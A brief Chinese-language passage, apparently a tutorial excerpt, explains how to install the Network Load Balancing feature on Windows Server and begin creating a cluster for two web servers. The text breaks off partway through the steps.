网络负载平衡功能的安装 添加角色 默认不动————功能 勾选上 < 网络负载平衡 > 在工具中————打开 < 网络负载平衡管理器 > 网络负载平衡群集创建 注意 : 提前 将两台 web 站点服务器 都安装好 < 网络负载平衡功能 > 右键 选择 ————新建群集 ——…